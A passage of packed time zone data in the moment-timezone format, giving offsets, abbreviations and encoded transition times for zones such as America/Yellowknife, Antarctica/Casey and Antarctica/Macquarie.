80|0123425252525252525252525252525252526767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676767676|-48Pzs.L 1jVwL.G 1EX1F.5 8x00 iz0 Vo10 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 s10 1Vz0 LB0 1BX0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 cn0 10q0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|642","America/Yellowknife|-00 MST MWT MPT MDT|0 70 60 60 60|01231414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141|-1pdA0 hix0 8x20 ix0 14HB0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|19e3","Antarctica/Casey|-00 +08 +11|0 -80 -b0|0121212121212|-2q00 1DjS0 T90 40P0 KL0 blz0 3m10 1o30 14k0 1kr0 12l0 1o01|10","Antarctica/Davis|-00 +07 +05|0 -70 -50|01012121|-vyo0 iXt0 alj0 1D7v0 VB0 3Wn0 KN0|70","Pacific/Port_Moresby|LMT PMMT +10|-9M.E -9M.w -a0|012|-3D8VM.E AvA0.8|25e4","Antarctica/Macquarie|-00 AEST AEDT|0 -a0 -b0|0121012121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212|-2OPc0 Fb40 1a00 4SK0 1ayy0 Lvs0 1cM0 1o00 Rc0 1wo0 Rc0 1wo0 U00 1wo0 LA0 1C00 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Rc0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 Oo0 1zc0 11A0 1qM0 WM0 1qM0 Oo0 1zc0 Oo0 1zc0 Oo0 1wo0 WM0 1tA0 WM0 1tA0 U00 1tA0 U00 1tA0 11A0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 11A0 1o00 1io0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1a00 1fA0 1cM0 1cM0 1a00 1io0 1cM0 1cM0 1cM0 1cM0 3Co0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 